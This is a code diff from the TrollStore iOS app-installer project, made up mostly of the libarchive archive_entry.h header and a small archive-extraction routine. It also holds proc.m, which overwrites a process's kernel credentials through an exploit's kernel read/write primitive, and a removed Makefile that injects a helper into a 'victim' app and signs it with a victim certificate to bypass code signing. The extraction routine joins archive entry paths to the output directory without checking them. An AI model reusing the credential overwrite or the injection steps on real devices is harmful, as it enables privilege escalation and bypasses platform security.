__LA_DECL int archive_entry_is_data_encrypted(struct archive_entry *);
__LA_DECL int archive_entry_is_metadata_encrypted(struct archive_entry *);
__LA_DECL int archive_entry_is_encrypted(struct archive_entry *);
/*
* Set fields in an archive_entry.
*
* Note: Before libarchive 2.4, there were 'set' and 'copy' versions
* of the string setters. 'copy' copied the actual string, 'set' just
* stored the pointer. In libarchive 2.4 and later, strings are
* always copied.
*/
__LA_DECL void archive_entry_set_atime(struct archive_entry *, time_t, long);
__LA_DECL void archive_entry_unset_atime(struct archive_entry *);
#if defined(_WIN32) && !defined(__CYGWIN__)
__LA_DECL void archive_entry_copy_bhfi(struct archive_entry *, BY_HANDLE_FILE_INFORMATION *);
#endif
__LA_DECL void archive_entry_set_birthtime(struct archive_entry *, time_t, long);
__LA_DECL void archive_entry_unset_birthtime(struct archive_entry *);
__LA_DECL void archive_entry_set_ctime(struct archive_entry *, time_t, long);
__LA_DECL void archive_entry_unset_ctime(struct archive_entry *);
__LA_DECL void archive_entry_set_dev(struct archive_entry *, dev_t);
__LA_DECL void archive_entry_set_devmajor(struct archive_entry *, dev_t);
__LA_DECL void archive_entry_set_devminor(struct archive_entry *, dev_t);
__LA_DECL void archive_entry_set_filetype(struct archive_entry *, unsigned int);
__LA_DECL void archive_entry_set_fflags(struct archive_entry *,
unsigned long /* set */, unsigned long /* clear */);
/* Returns pointer to start of first invalid token, or NULL if none. */
/* Note that all recognized tokens are processed, regardless. */
__LA_DECL const char *archive_entry_copy_fflags_text(struct archive_entry *,
const char *);
__LA_DECL const wchar_t *archive_entry_copy_fflags_text_w(struct archive_entry *,
const wchar_t *);
__LA_DECL void archive_entry_set_gid(struct archive_entry *, la_int64_t);
__LA_DECL void archive_entry_set_gname(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_gname_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_gname(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_gname_w(struct archive_entry *, const wchar_t *);
__LA_DECL int archive_entry_update_gname_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_hardlink(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_hardlink_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_hardlink(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_hardlink_w(struct archive_entry *, const wchar_t *);
__LA_DECL int archive_entry_update_hardlink_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_ino(struct archive_entry *, la_int64_t);
__LA_DECL void archive_entry_set_ino64(struct archive_entry *, la_int64_t);
__LA_DECL void archive_entry_set_link(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_link_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_link(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_link_w(struct archive_entry *, const wchar_t *);
__LA_DECL int archive_entry_update_link_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_mode(struct archive_entry *, __LA_MODE_T);
__LA_DECL void archive_entry_set_mtime(struct archive_entry *, time_t, long);
__LA_DECL void archive_entry_unset_mtime(struct archive_entry *);
__LA_DECL void archive_entry_set_nlink(struct archive_entry *, unsigned int);
__LA_DECL void archive_entry_set_pathname(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_pathname_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_pathname(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_pathname_w(struct archive_entry *, const wchar_t *);
__LA_DECL int archive_entry_update_pathname_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_perm(struct archive_entry *, __LA_MODE_T);
__LA_DECL void archive_entry_set_rdev(struct archive_entry *, dev_t);
__LA_DECL void archive_entry_set_rdevmajor(struct archive_entry *, dev_t);
__LA_DECL void archive_entry_set_rdevminor(struct archive_entry *, dev_t);
__LA_DECL void archive_entry_set_size(struct archive_entry *, la_int64_t);
__LA_DECL void archive_entry_unset_size(struct archive_entry *);
__LA_DECL void archive_entry_copy_sourcepath(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_sourcepath_w(struct archive_entry *, const wchar_t *);
__LA_DECL void archive_entry_set_symlink(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_symlink_type(struct archive_entry *, int);
__LA_DECL void archive_entry_set_symlink_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_symlink(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_symlink_w(struct archive_entry *, const wchar_t *);
__LA_DECL int archive_entry_update_symlink_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_uid(struct archive_entry *, la_int64_t);
__LA_DECL void archive_entry_set_uname(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_uname_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_uname(struct archive_entry *, const char *);
__LA_DECL void archive_entry_copy_uname_w(struct archive_entry *, const wchar_t *);
__LA_DECL int archive_entry_update_uname_utf8(struct archive_entry *, const char *);
__LA_DECL void archive_entry_set_is_data_encrypted(struct archive_entry *, char is_encrypted);
__LA_DECL void archive_entry_set_is_metadata_encrypted(struct archive_entry *, char is_encrypted);
/*
* Routines to bulk copy fields to/from a platform-native "struct
* stat." Libarchive used to just store a struct stat inside of each
* archive_entry object, but this created issues when trying to
* manipulate archives on systems different than the ones they were
* created on.
*
* TODO: On Linux and other LFS systems, provide both stat32 and
* stat64 versions of these functions and all of the macro glue so
* that archive_entry_stat is magically defined to
* archive_entry_stat32 or archive_entry_stat64 as appropriate.
*/
__LA_DECL const struct stat *archive_entry_stat(struct archive_entry *);
__LA_DECL void archive_entry_copy_stat(struct archive_entry *, const struct stat *);
/*
* Storage for Mac OS-specific AppleDouble metadata information.
* Apple-format tar files store a separate binary blob containing
* encoded metadata with ACL, extended attributes, etc.
* This provides a place to store that blob.
*/
__LA_DECL const void * archive_entry_mac_metadata(struct archive_entry *, size_t *);
__LA_DECL void archive_entry_copy_mac_metadata(struct archive_entry *, const void *, size_t);
/*
* Digest routine. This is used to query the raw hex digest for the
* given entry. The type of digest is provided as an argument.
*/
#define ARCHIVE_ENTRY_DIGEST_MD5 0x00000001
#define ARCHIVE_ENTRY_DIGEST_RMD160 0x00000002
#define ARCHIVE_ENTRY_DIGEST_SHA1 0x00000003
#define ARCHIVE_ENTRY_DIGEST_SHA256 0x00000004
#define ARCHIVE_ENTRY_DIGEST_SHA384 0x00000005
#define ARCHIVE_ENTRY_DIGEST_SHA512 0x00000006
__LA_DECL const unsigned char * archive_entry_digest(struct archive_entry *, int /* type */);
/*
* ACL routines. This used to simply store and return text-format ACL
* strings, but that proved insufficient for a number of reasons:
* = clients need control over uname/uid and gname/gid mappings
* = there are many different ACL text formats
* = would like to be able to read/convert archives containing ACLs
* on platforms that lack ACL libraries
*
* This last point, in particular, forces me to implement a reasonably
* complete set of ACL support routines.
*/
/*
* Permission bits.
*/
#define ARCHIVE_ENTRY_ACL_EXECUTE 0x00000001
#define ARCHIVE_ENTRY_ACL_WRITE 0x00000002
#define ARCHIVE_ENTRY_ACL_READ 0x00000004
#define ARCHIVE_ENTRY_ACL_READ_DATA 0x00000008
#define ARCHIVE_ENTRY_ACL_LIST_DIRECTORY 0x00000008
#define ARCHIVE_ENTRY_ACL_WRITE_DATA 0x00000010
#define ARCHIVE_ENTRY_ACL_ADD_FILE 0x00000010
#define ARCHIVE_ENTRY_ACL_APPEND_DATA 0x00000020
#define ARCHIVE_ENTRY_ACL_ADD_SUBDIRECTORY 0x00000020
#define ARCHIVE_ENTRY_ACL_READ_NAMED_ATTRS 0x00000040
#define ARCHIVE_ENTRY_ACL_WRITE_NAMED_ATTRS 0x00000080
#define ARCHIVE_ENTRY_ACL_DELETE_CHILD 0x00000100
#define ARCHIVE_ENTRY_ACL_READ_ATTRIBUTES 0x00000200
#define ARCHIVE_ENTRY_ACL_WRITE_ATTRIBUTES 0x00000400
#define ARCHIVE_ENTRY_ACL_DELETE 0x00000800
#define ARCHIVE_ENTRY_ACL_READ_ACL 0x00001000
#define ARCHIVE_ENTRY_ACL_WRITE_ACL 0x00002000
#define ARCHIVE_ENTRY_ACL_WRITE_OWNER 0x00004000
#define ARCHIVE_ENTRY_ACL_SYNCHRONIZE 0x00008000
#define ARCHIVE_ENTRY_ACL_PERMS_POSIX1E \
(ARCHIVE_ENTRY_ACL_EXECUTE \
| ARCHIVE_ENTRY_ACL_WRITE \
| ARCHIVE_ENTRY_ACL_READ)
#define ARCHIVE_ENTRY_ACL_PERMS_NFS4 \
(ARCHIVE_ENTRY_ACL_EXECUTE \
| ARCHIVE_ENTRY_ACL_READ_DATA \
| ARCHIVE_ENTRY_ACL_LIST_DIRECTORY \
| ARCHIVE_ENTRY_ACL_WRITE_DATA \
| ARCHIVE_ENTRY_ACL_ADD_FILE \
| ARCHIVE_ENTRY_ACL_APPEND_DATA \
| ARCHIVE_ENTRY_ACL_ADD_SUBDIRECTORY \
| ARCHIVE_ENTRY_ACL_READ_NAMED_ATTRS \
| ARCHIVE_ENTRY_ACL_WRITE_NAMED_ATTRS \
| ARCHIVE_ENTRY_ACL_DELETE_CHILD \
| ARCHIVE_ENTRY_ACL_READ_ATTRIBUTES \
| ARCHIVE_ENTRY_ACL_WRITE_ATTRIBUTES \
| ARCHIVE_ENTRY_ACL_DELETE \
| ARCHIVE_ENTRY_ACL_READ_ACL \
| ARCHIVE_ENTRY_ACL_WRITE_ACL \
| ARCHIVE_ENTRY_ACL_WRITE_OWNER \
| ARCHIVE_ENTRY_ACL_SYNCHRONIZE)
/*
* Inheritance values (NFS4 ACLs only); included in permset.
*/
#define ARCHIVE_ENTRY_ACL_ENTRY_INHERITED 0x01000000
#define ARCHIVE_ENTRY_ACL_ENTRY_FILE_INHERIT 0x02000000
#define ARCHIVE_ENTRY_ACL_ENTRY_DIRECTORY_INHERIT 0x04000000
#define ARCHIVE_ENTRY_ACL_ENTRY_NO_PROPAGATE_INHERIT 0x08000000
#define ARCHIVE_ENTRY_ACL_ENTRY_INHERIT_ONLY 0x10000000
#define ARCHIVE_ENTRY_ACL_ENTRY_SUCCESSFUL_ACCESS 0x20000000
#define ARCHIVE_ENTRY_ACL_ENTRY_FAILED_ACCESS 0x40000000
#define ARCHIVE_ENTRY_ACL_INHERITANCE_NFS4 \
(ARCHIVE_ENTRY_ACL_ENTRY_FILE_INHERIT \
| ARCHIVE_ENTRY_ACL_ENTRY_DIRECTORY_INHERIT \
| ARCHIVE_ENTRY_ACL_ENTRY_NO_PROPAGATE_INHERIT \
| ARCHIVE_ENTRY_ACL_ENTRY_INHERIT_ONLY \
| ARCHIVE_ENTRY_ACL_ENTRY_SUCCESSFUL_ACCESS \
| ARCHIVE_ENTRY_ACL_ENTRY_FAILED_ACCESS \
| ARCHIVE_ENTRY_ACL_ENTRY_INHERITED)
/* We need to be able to specify combinations of these. */
#define ARCHIVE_ENTRY_ACL_TYPE_ACCESS 0x00000100 /* POSIX.1e only */
#define ARCHIVE_ENTRY_ACL_TYPE_DEFAULT 0x00000200 /* POSIX.1e only */
#define ARCHIVE_ENTRY_ACL_TYPE_ALLOW 0x00000400 /* NFS4 only */
#define ARCHIVE_ENTRY_ACL_TYPE_DENY 0x00000800 /* NFS4 only */
#define ARCHIVE_ENTRY_ACL_TYPE_AUDIT 0x00001000 /* NFS4 only */
#define ARCHIVE_ENTRY_ACL_TYPE_ALARM 0x00002000 /* NFS4 only */
#define ARCHIVE_ENTRY_ACL_TYPE_POSIX1E (ARCHIVE_ENTRY_ACL_TYPE_ACCESS \
| ARCHIVE_ENTRY_ACL_TYPE_DEFAULT)
#define ARCHIVE_ENTRY_ACL_TYPE_NFS4 (ARCHIVE_ENTRY_ACL_TYPE_ALLOW \
| ARCHIVE_ENTRY_ACL_TYPE_DENY \
| ARCHIVE_ENTRY_ACL_TYPE_AUDIT \
| ARCHIVE_ENTRY_ACL_TYPE_ALARM)
/* Tag values mimic POSIX.1e */
#define ARCHIVE_ENTRY_ACL_USER 10001 /* Specified user. */
#define ARCHIVE_ENTRY_ACL_USER_OBJ 10002 /* User who owns the file. */
#define ARCHIVE_ENTRY_ACL_GROUP 10003 /* Specified group. */
#define ARCHIVE_ENTRY_ACL_GROUP_OBJ 10004 /* Group who owns the file. */
#define ARCHIVE_ENTRY_ACL_MASK 10005 /* Modify group access (POSIX.1e only) */
#define ARCHIVE_ENTRY_ACL_OTHER 10006 /* Public (POSIX.1e only) */
#define ARCHIVE_ENTRY_ACL_EVERYONE 10107 /* Everyone (NFS4 only) */
/*
* Set the ACL by clearing it and adding entries one at a time.
* Unlike the POSIX.1e ACL routines, you must specify the type
* (access/default) for each entry. Internally, the ACL data is just
* a soup of entries. API calls here allow you to retrieve just the
* entries of interest. This design (which goes against the spirit of
* POSIX.1e) is useful for handling archive formats that combine
* default and access information in a single ACL list.
*/
__LA_DECL void archive_entry_acl_clear(struct archive_entry *);
__LA_DECL int archive_entry_acl_add_entry(struct archive_entry *,
int /* type */, int /* permset */, int /* tag */,
int /* qual */, const char * /* name */);
__LA_DECL int archive_entry_acl_add_entry_w(struct archive_entry *,
int /* type */, int /* permset */, int /* tag */,
int /* qual */, const wchar_t * /* name */);
/*
* To retrieve the ACL, first "reset", then repeatedly ask for the
* "next" entry. The want_type parameter allows you to request only
* certain types of entries.
*/
__LA_DECL int archive_entry_acl_reset(struct archive_entry *, int /* want_type */);
__LA_DECL int archive_entry_acl_next(struct archive_entry *, int /* want_type */,
int * /* type */, int * /* permset */, int * /* tag */,
int * /* qual */, const char ** /* name */);
/*
* Construct a text-format ACL. The flags argument is a bitmask that
* can include any of the following:
*
* Flags only for archive entries with POSIX.1e ACL:
* ARCHIVE_ENTRY_ACL_TYPE_ACCESS - Include POSIX.1e "access" entries.
* ARCHIVE_ENTRY_ACL_TYPE_DEFAULT - Include POSIX.1e "default" entries.
* ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT - Include "default:" before each
* default ACL entry.
* ARCHIVE_ENTRY_ACL_STYLE_SOLARIS - Output only one colon after "other" and
* "mask" entries.
*
* Flags only for archive entries with NFSv4 ACL:
* ARCHIVE_ENTRY_ACL_STYLE_COMPACT - Do not output the minus character for
* unset permissions and flags in NFSv4 ACL permission and flag fields
*
* Flags for for archive entries with POSIX.1e ACL or NFSv4 ACL:
* ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID - Include extra numeric ID field in
* each ACL entry.
* ARCHIVE_ENTRY_ACL_STYLE_SEPARATOR_COMMA - Separate entries with comma
* instead of newline.
*/
#define ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID 0x00000001
#define ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT 0x00000002
#define ARCHIVE_ENTRY_ACL_STYLE_SOLARIS 0x00000004
#define ARCHIVE_ENTRY_ACL_STYLE_SEPARATOR_COMMA 0x00000008
#define ARCHIVE_ENTRY_ACL_STYLE_COMPACT 0x00000010
__LA_DECL wchar_t *archive_entry_acl_to_text_w(struct archive_entry *,
la_ssize_t * /* len */, int /* flags */);
__LA_DECL char *archive_entry_acl_to_text(struct archive_entry *,
la_ssize_t * /* len */, int /* flags */);
__LA_DECL int archive_entry_acl_from_text_w(struct archive_entry *,
const wchar_t * /* wtext */, int /* type */);
__LA_DECL int archive_entry_acl_from_text(struct archive_entry *,
const char * /* text */, int /* type */);
/* Deprecated constants */
#define OLD_ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID 1024
#define OLD_ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT 2048
/* Deprecated functions */
__LA_DECL const wchar_t *archive_entry_acl_text_w(struct archive_entry *,
int /* flags */) __LA_DEPRECATED;
__LA_DECL const char *archive_entry_acl_text(struct archive_entry *,
int /* flags */) __LA_DEPRECATED;
/* Return bitmask of ACL types in an archive entry */
__LA_DECL int archive_entry_acl_types(struct archive_entry *);
/* Return a count of entries matching 'want_type' */
__LA_DECL int archive_entry_acl_count(struct archive_entry *, int /* want_type */);
/* Return an opaque ACL object. */
/* There's not yet anything clients can actually do with this... */
struct archive_acl;
__LA_DECL struct archive_acl *archive_entry_acl(struct archive_entry *);
/*
* extended attributes
*/
__LA_DECL void archive_entry_xattr_clear(struct archive_entry *);
__LA_DECL void archive_entry_xattr_add_entry(struct archive_entry *,
const char * /* name */, const void * /* value */,
size_t /* size */);
/*
* To retrieve the xattr list, first "reset", then repeatedly ask for the
* "next" entry.
*/
__LA_DECL int archive_entry_xattr_count(struct archive_entry *);
__LA_DECL int archive_entry_xattr_reset(struct archive_entry *);
__LA_DECL int archive_entry_xattr_next(struct archive_entry *,
const char ** /* name */, const void ** /* value */, size_t *);
/*
* sparse
*/
__LA_DECL void archive_entry_sparse_clear(struct archive_entry *);
__LA_DECL void archive_entry_sparse_add_entry(struct archive_entry *,
la_int64_t /* offset */, la_int64_t /* length */);
/*
* To retrieve the xattr list, first "reset", then repeatedly ask for the
* "next" entry.
*/
__LA_DECL int archive_entry_sparse_count(struct archive_entry *);
__LA_DECL int archive_entry_sparse_reset(struct archive_entry *);
__LA_DECL int archive_entry_sparse_next(struct archive_entry *,
la_int64_t * /* offset */, la_int64_t * /* length */);
/*
* Utility to match up hardlinks.
*
* The 'struct archive_entry_linkresolver' is a cache of archive entries
* for files with multiple links. Here's how to use it:
* 1. Create a lookup object with archive_entry_linkresolver_new()
* 2. Tell it the archive format you're using.
* 3. Hand each archive_entry to archive_entry_linkify().
* That function will return 0, 1, or 2 entries that should
* be written.
* 4. Call archive_entry_linkify(resolver, NULL) until
* no more entries are returned.
* 5. Call archive_entry_linkresolver_free(resolver) to free resources.
*
* The entries returned have their hardlink and size fields updated
* appropriately. If an entry is passed in that does not refer to
* a file with multiple links, it is returned unchanged. The intention
* is that you should be able to simply filter all entries through
* this machine.
*
* To make things more efficient, be sure that each entry has a valid
* nlinks value. The hardlink cache uses this to track when all links
* have been found. If the nlinks value is zero, it will keep every
* name in the cache indefinitely, which can use a lot of memory.
*
* Note that archive_entry_size() is reset to zero if the file
* body should not be written to the archive. Pay attention!
*/
struct archive_entry_linkresolver;
/*
* There are three different strategies for marking hardlinks.
* The descriptions below name them after the best-known
* formats that rely on each strategy:
*
* "Old cpio" is the simplest, it always returns any entry unmodified.
* As far as I know, only cpio formats use this. Old cpio archives
* store every link with the full body; the onus is on the dearchiver
* to detect and properly link the files as they are restored.
* "tar" is also pretty simple; it caches a copy the first time it sees
* any link. Subsequent appearances are modified to be hardlink
* references to the first one without any body. Used by all tar
* formats, although the newest tar formats permit the "old cpio" strategy
* as well. This strategy is very simple for the dearchiver,
* and reasonably straightforward for the archiver.
* "new cpio" is trickier. It stores the body only with the last
* occurrence. The complication is that we might not
* see every link to a particular file in a single session, so
* there's no easy way to know when we've seen the last occurrence.
* The solution here is to queue one link until we see the next.
* At the end of the session, you can enumerate any remaining
* entries by calling archive_entry_linkify(NULL) and store those
* bodies. If you have a file with three links l1, l2, and l3,
* you'll get the following behavior if you see all three links:
* linkify(l1) => NULL (the resolver stores l1 internally)
* linkify(l2) => l1 (resolver stores l2, you write l1)
* linkify(l3) => l2, l3 (all links seen, you can write both).
* If you only see l1 and l2, you'll get this behavior:
* linkify(l1) => NULL
* linkify(l2) => l1
* linkify(NULL) => l2 (at end, you retrieve remaining links)
* As the name suggests, this strategy is used by newer cpio variants.
* It's noticeably more complex for the archiver, slightly more complex
* for the dearchiver than the tar strategy, but makes it straightforward
* to restore a file using any link by simply continuing to scan until
* you see a link that is stored with a body. In contrast, the tar
* strategy requires you to rescan the archive from the beginning to
* correctly extract an arbitrary link.
*/
__LA_DECL struct archive_entry_linkresolver *archive_entry_linkresolver_new(void);
__LA_DECL void archive_entry_linkresolver_set_strategy(
struct archive_entry_linkresolver *, int /* format_code */);
__LA_DECL void archive_entry_linkresolver_free(struct archive_entry_linkresolver *);
__LA_DECL void archive_entry_linkify(struct archive_entry_linkresolver *,
struct archive_entry **, struct archive_entry **);
__LA_DECL struct archive_entry *archive_entry_partial_links(
struct archive_entry_linkresolver *res, unsigned int *links);
#ifdef __cplusplus
}
#endif
/* This is meaningless outside of this header. */
#undef __LA_DECL
#endif /* !ARCHIVE_ENTRY_H_INCLUDED */

View File

@ -0,0 +1,53 @@
//
// proc.h
// fun15
//
// Created by Lars Fröder on 11.06.22.
//
#ifndef proc_h
#define proc_h
#import <Foundation/Foundation.h>
#if defined(__cplusplus)
extern "C" {
#endif
struct k_posix_cred { // (96 bytes)
uid_t cr_uid; // off=0x0
uid_t cr_ruid; // off=0x20
uid_t cr_svuid; // off=0x40
u_short cr_ngroups; // off=0x60
u_short __cr_padding; // off=0x70
gid_t cr_groups[16]; // off=0x80
gid_t cr_rgid; // off=0x280
gid_t cr_svgid; // off=0x2a0
uid_t cr_gmuid; // off=0x2c0
int cr_flags; // off=0x2e0
};
struct k_label { // (64 bytes)
int l_flags; // off=0x0
int l_perpolicy[7]; // off=0x40
};
struct k_ucred { // (144 bytes)
struct { // (16 bytes)
struct k_ucred * le_next; // off=0x0
struct k_ucred * * le_prev; // off=0x40
} cr_link; // off=0x0
u_long cr_ref; // off=0x80
struct k_posix_cred cr_posix; // off=0xc0
struct k_label cr_label; // off=0x3c0
struct au_session cr_audit; // off=0x400
};
extern void proc_set_posix_cred(uint64_t proc, struct k_posix_cred posix_cred);
extern struct k_posix_cred proc_get_posix_cred(uint64_t proc);
#if defined(__cplusplus)
}
#endif
#endif /* proc_h */

View File

@ -0,0 +1,31 @@
//
// proc.m
// fun15
//
// Created by Lars Fröder on 11.06.22.
//
#import "kutil.h"
#import <Foundation/Foundation.h>
#import "KernelManager.h"
#import "exploit/xpaci.h"
struct k_posix_cred proc_get_posix_cred(uint64_t proc)
{
struct k_posix_cred pcred = {0};
KernelManager* km = [KernelManager sharedInstance];
uint64_t ucred = xpaci([km read64BitValueAtAddress:proc + km.struct_offsets.proc.ucred_offset]);
uint64_t posix_cred_kptr = ucred + km.struct_offsets.ucred.posix_offset;
[km readBufferAtAddress:posix_cred_kptr intoBuffer:&pcred withLength:sizeof(struct k_posix_cred)];
return pcred;
}
void proc_set_posix_cred(uint64_t proc, struct k_posix_cred posix_cred)
{
KernelManager* km = [KernelManager sharedInstance];
uint64_t ucred = xpaci([km read64BitValueAtAddress:proc + km.struct_offsets.proc.ucred_offset]);
uint64_t posix_cred_kptr = ucred + km.struct_offsets.ucred.posix_offset;
[km writeBuffer:&posix_cred withLength:sizeof(struct k_posix_cred) toAddress:posix_cred_kptr];
}

View File

@ -0,0 +1,18 @@
//
// main.m
// TrollInstaller
//
// Created by Lars Fröder on 17.08.22.
//
#import <UIKit/UIKit.h>
#import "AppDelegate.h"
int main(int argc, char * argv[]) {
NSString * appDelegateClassName;
@autoreleasepool {
// Setup code that might create autoreleased objects goes here.
appDelegateClassName = NSStringFromClass([AppDelegate class]);
}
return UIApplicationMain(argc, argv, nil, appDelegateClassName);
}

View File

@ -0,0 +1,15 @@
//
// unarchive.h
// TrollInstaller
//
// Created by Lars Fröder on 02.09.22.
//
#ifndef unarchive_h
#define unarchive_h
@import Foundation;
extern int extract(NSString* fileToExtract, NSString* extractionPath);
#endif /* unarchive_h */

View File

@ -0,0 +1,94 @@
//
// unarchive.m
// TrollInstaller
//
// Created by Lars Fröder on 02.09.22.
//
#import "unarchive.h"
#include "headers/archive.h"
#include "headers/archive_entry.h"
static int
copy_data(struct archive *ar, struct archive *aw)
{
int r;
const void *buff;
size_t size;
la_int64_t offset;
for (;;) {
r = archive_read_data_block(ar, &buff, &size, &offset);
if (r == ARCHIVE_EOF)
return (ARCHIVE_OK);
if (r < ARCHIVE_OK)
return (r);
r = archive_write_data_block(aw, buff, size, offset);
if (r < ARCHIVE_OK) {
fprintf(stderr, "%s\n", archive_error_string(aw));
return (r);
}
}
}
int extract(NSString* fileToExtract, NSString* extractionPath)
{
struct archive *a;
struct archive *ext;
struct archive_entry *entry;
int flags;
int r;
/* Select which attributes we want to restore. */
flags = ARCHIVE_EXTRACT_TIME;
flags |= ARCHIVE_EXTRACT_PERM;
flags |= ARCHIVE_EXTRACT_ACL;
flags |= ARCHIVE_EXTRACT_FFLAGS;
a = archive_read_new();
archive_read_support_format_all(a);
archive_read_support_filter_all(a);
ext = archive_write_disk_new();
archive_write_disk_set_options(ext, flags);
archive_write_disk_set_standard_lookup(ext);
if ((r = archive_read_open_filename(a, fileToExtract.UTF8String, 10240)))
return 1;
for (;;)
{
r = archive_read_next_header(a, &entry);
if (r == ARCHIVE_EOF)
break;
if (r < ARCHIVE_OK)
fprintf(stderr, "%s\n", archive_error_string(a));
if (r < ARCHIVE_WARN)
return 1;
NSString* currentFile = [NSString stringWithUTF8String:archive_entry_pathname(entry)];
NSString* fullOutputPath = [extractionPath stringByAppendingPathComponent:currentFile];
//printf("extracting %s to %s\n", currentFile.UTF8String, fullOutputPath.UTF8String);
archive_entry_set_pathname(entry, fullOutputPath.UTF8String);
r = archive_write_header(ext, entry);
if (r < ARCHIVE_OK)
fprintf(stderr, "%s\n", archive_error_string(ext));
else if (archive_entry_size(entry) > 0) {
r = copy_data(a, ext);
if (r < ARCHIVE_OK)
fprintf(stderr, "%s\n", archive_error_string(ext));
if (r < ARCHIVE_WARN)
return 1;
}
r = archive_write_finish_entry(ext);
if (r < ARCHIVE_OK)
fprintf(stderr, "%s\n", archive_error_string(ext));
if (r < ARCHIVE_WARN)
return 1;
}
archive_read_close(a);
archive_read_free(a);
archive_write_close(ext);
archive_write_free(ext);
return 0;
}

View File

@ -4,15 +4,18 @@ Upstream-Contact: opa334 <opa334@protonmail.com>
Source: https://github.com/opa334/TrollStore
Files: *
Copyright: 2022-2024 Lars Fröder
Copyright: 2022 Lars Fröder
License: MIT
Files: RootHelper/uicache.m
Files: Helper/uicache.m
Copyright: Copyright (c) 2019 CoolStar,
Modified work Copyright (c) 2020-2022 Procursus Team <team@procurs.us>
Modified work Copyright (c) 2022-2024 Lars Fröder <opa334@protonmail.com>
License: BSD-4-Clause
Files: Installer/TrollInstaller/exploit
Copyright: Copyright (c) 2022 John Åkerblom,
License: All rights reserved
License: BSD-4-Clause
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions

View File

@ -1,93 +0,0 @@
TOPTARGETS := all clean update
$(TOPTARGETS): pre_build make_fastPathSign make_roothelper make_trollstore make_trollhelper_embedded make_trollhelper_package assemble_trollstore build_installer15 build_installer64e make_trollstore_lite
pre_build:
@rm -rf ./_build 2>/dev/null || true
@mkdir -p ./_build
make_fastPathSign:
@$(MAKE) -C ./Exploits/fastPathSign $(MAKECMDGOALS)
make_roothelper:
@$(MAKE) -C ./RootHelper DEBUG=0 $(MAKECMDGOALS)
make_trollstore:
@$(MAKE) -C ./TrollStore FINALPACKAGE=1 $(MAKECMDGOALS)
ifneq ($(MAKECMDGOALS),clean)
make_trollhelper_package:
@$(MAKE) clean -C ./TrollHelper
@cp ./RootHelper/.theos/obj/trollstorehelper ./TrollHelper/Resources/trollstorehelper
@$(MAKE) -C ./TrollHelper FINALPACKAGE=1 package $(MAKECMDGOALS)
@$(MAKE) clean -C ./TrollHelper
@$(MAKE) -C ./TrollHelper THEOS_PACKAGE_SCHEME=rootless FINALPACKAGE=1 package $(MAKECMDGOALS)
@rm ./TrollHelper/Resources/trollstorehelper
make_trollhelper_embedded:
@$(MAKE) clean -C ./TrollHelper
@$(MAKE) -C ./TrollHelper FINALPACKAGE=1 EMBEDDED_ROOT_HELPER=1 $(MAKECMDGOALS)
@cp ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./_build/PersistenceHelper_Embedded
@$(MAKE) clean -C ./TrollHelper
@$(MAKE) -C ./TrollHelper FINALPACKAGE=1 EMBEDDED_ROOT_HELPER=1 LEGACY_CT_BUG=1 $(MAKECMDGOALS)
@cp ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./_build/PersistenceHelper_Embedded_Legacy_arm64
@$(MAKE) clean -C ./TrollHelper
@$(MAKE) -C ./TrollHelper FINALPACKAGE=1 EMBEDDED_ROOT_HELPER=1 CUSTOM_ARCHS=arm64e $(MAKECMDGOALS)
@cp ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./_build/PersistenceHelper_Embedded_Legacy_arm64e
@$(MAKE) clean -C ./TrollHelper
assemble_trollstore:
@cp ./RootHelper/.theos/obj/trollstorehelper ./TrollStore/.theos/obj/TrollStore.app/trollstorehelper
@cp ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./TrollStore/.theos/obj/TrollStore.app/PersistenceHelper
@export COPYFILE_DISABLE=1
@tar -czvf ./_build/TrollStore.tar -C ./TrollStore/.theos/obj TrollStore.app
build_installer15:
@mkdir -p ./_build/tmp15
@unzip ./Victim/InstallerVictim.ipa -d ./_build/tmp15
@cp ./_build/PersistenceHelper_Embedded_Legacy_arm64 ./_build/TrollStorePersistenceHelperToInject
@pwnify set-cpusubtype ./_build/TrollStorePersistenceHelperToInject 1
@ldid -s -K./Victim/victim.p12 ./_build/TrollStorePersistenceHelperToInject
APP_PATH=$$(find ./_build/tmp15/Payload -name "*" -depth 1) ; \
APP_NAME=$$(basename $$APP_PATH) ; \
BINARY_NAME=$$(echo "$$APP_NAME" | cut -f 1 -d '.') ; \
echo $$BINARY_NAME ; \
pwnify pwn ./_build/tmp15/Payload/$$APP_NAME/$$BINARY_NAME ./_build/TrollStorePersistenceHelperToInject
@pushd ./_build/tmp15 ; \
zip -vrD ../../_build/TrollHelper_iOS15.ipa * ; \
popd
@rm ./_build/TrollStorePersistenceHelperToInject
@rm -rf ./_build/tmp15
build_installer64e:
